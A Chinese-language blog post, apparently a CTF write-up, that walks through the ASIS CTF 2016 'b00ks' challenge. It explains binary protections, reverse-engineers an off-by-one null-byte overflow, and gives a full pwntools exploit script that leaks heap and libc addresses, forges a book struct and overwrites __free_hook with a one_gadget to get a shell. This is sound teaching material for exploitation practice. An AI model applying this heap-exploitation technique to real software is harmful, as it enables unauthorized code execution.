ASIS_CTF_2016_b00ks

ASIS_CTF_2016_b00ks

一、信息收集

  • RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO为“Full RELRO”,对GOT表没有写入权限。
  • Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。
  • NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。
  • PIE:PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。

二、逆向分析

main反编译查看:

Author name 函数sub_B6D(): author name 长度为32

在sub_F55()函数中可以知道数据结构如下:

C++
struct book {
int id;
char* book_name;
char* des_book;
int book_size;
};

 

data段中:

off_202018. Static name=是保存着author name

off_202010. Static arrya=是保存着 struct_book[32]={book1,book2,book3....} 结构体

漏洞函数sub_9F5() 存在边界考虑不当,导致溢出一个‘\x00’字节。

这里为什么有一字节溢出呢,假设一个数组buffer长度为4,使用该函数读取四个字符传入buffer指针参数和长度,len当做数组下表使用 所以这里len=3,步骤如下:

第一轮:i=0,当前buff[0] ,read读入‘A’,判断不等于10,buff指针后移(buff[1]),i=0 len=3

第二轮:i=1,当前buff[1] ,read读入‘A’,判断不等于10,buff指针后移(buff[2]),i=1 len=3

第三轮:i=2,当前buff[2] ,read读入‘A’,判断不等于10,buff指针后移(buff[3]),i=2 len=3

第四轮:i=3,当前buff[3] ,read读入‘A’,判断不等于10,buff指针后移(buff[4]),i=3 len=3 当前buff[4] = 0. 这里溢出1字节。

Free函数sub_BBD():

Fill 函数sub_E17():

Update author name 函数sub_B6D():

 

输出函数sub_D1F():

三、利用

Python
from pwn import *
import pdb
from LibcSearcher import *
# -*- coding: utf-8 -*-
# context.log_level = 'debug'
debug = 1


if (debug):
p = process("./ASIS_CTF_2016_b00ks")
else:
p = remote('node4.buuoj.cn', 27816)


# context(arch='i386',os='linux')


elf = ELF('ASIS_CTF_2016_b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')




def Create(nsize, name, dsize, desc):
p.sendlineafter("> ", '1')
p.sendlineafter("name size: ", str(nsize))
p.sendlineafter("name (Max 32 chars): ", name)
p.sendlineafter("description size: ", str(dsize))
p.sendlineafter("description: ", desc)


def Delete(idx):
p.sendlineafter("> ", '2')
p.sendlineafter("delete: ", str(idx))


def Edit(idx, desc):
p.sendlineafter("> ", '3')
p.sendlineafter("edit: ", str(idx))
p.sendlineafter("description: ", desc)


def Print():
p.sendlineafter("> ", '4')


def Change(name):
p.sendlineafter("> ", '5')
p.sendlineafter("name: ", name)




## leak_heap
p.sendlineafter("name: ",b'A'*0x20)
Create(0xd0,"AAAA",0x20,"AAAA") #book1
Create(0x21000,"BBBB",0x21000,"BBBB") #book2


Print()


p.recvuntil("A" * 0x20)
book1_addr = u64(p.recvn(6)+b'\x00'+b'\x00')


log.info("book1_addr: "+hex(book1_addr))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)



## fake
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)



Print()


## libc_base
p.recvuntil("Name: ")
leak_addr = u64(p.recvn(6)+b'\x00'+b'\x00')
libc_base = leak_addr - 0x5b0010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)


one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]


## pwn
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + one_gadget[1]



fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)


Delete(2)

# pdb.set_trace()

p.interactive()

思路:创建两个book1、book2,在book1中构造伪fake_book,进而控制book2的description指针,将该指针改为__free_hook,再次修改为execve("/bin/sh"),最后free。

使用off-by-one泄漏出堆上的指针。

首先输入32个长度字节author name。 author name 存放在data段中 最长为32,偏移地址为0x202018

Python
p.sendlineafter("name: ",b'A'*0x20)

此时内存示意图如下:

在data段中 偏移为0x202010 的内存中保存着创建book结构体指针地址。创建book1、book2 内存示意图如下:

Python
Create(0xd0,"AAAA",0x20,"AAAA") #book1
Create(0x21000,"BBBB",0x21000,"BBBB") #book2

创建book1时:

创建book2时:

此时book1指针覆盖了author name的结尾字符 \x00. book1指针与author name连接在了一起。 使用sub_D1F()函数打印出book1指针。

有了book1指针地址就可以计算出book2的指针地址,book1地址+0x30+0x8就是book2到name指针地址。

这里继续使用off-by-one 漏洞,溢出修改book1指针地址使其为 book1 = book1->description,内存示意图如下:

溢出写\入x00,book1指针地址被抬高并指向了description

在修改book1指针之前,使用fill功能修改book1中description内容,构造伪fake_book结构体写入到description中。

伪堆块内容:fake_book = p64(id)+p64(book2+0x8)*2+p64(0x20).

这里有个知识点 在创建book2时 故意将内存设置的很大。

If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment

简单的说, 申请小了不能够泄露出

Libc base address

调用printf功能打印输出book2->name 指针地址。得到book2->name指针地址后利用以上知识可计算得出glibc的基地址,(mmap_addr - libc_base 申请空间是让glib触发mmap申请内存,这里mmap申请的地址与glibc基地址偏移为固定常量0x5b0010)。

利用book1指针修改 book2->name指针为_free_hook.

当前book1指针是fake_book1,向fake_book1->description指针内容中写入_free_hook地址

fake_book1->description 取内容是book2->name 指针所在的地址,复写两次_free_hook 即可覆盖book2->name 和 book2->description 指针。

Python
fake_book = p64(free_hook) * 2
Edit(1, fake_book)

再次调用fill功能修改book2->description指针指向的内容为one_gadget.

Python
fake_book = p64(one_gadget)
Edit(2, fake_book)

_free_hook 内容不为空。

调用free功能,释放book2结构体触发one_gadget 得到getshell。

ge12

 

 

 

关注微信公众号或者可以直接加作者微信:

 

 

 

posted @ 2022-12-31 12:46  syscallwww  阅读(181)  评论(0编辑  收藏  举报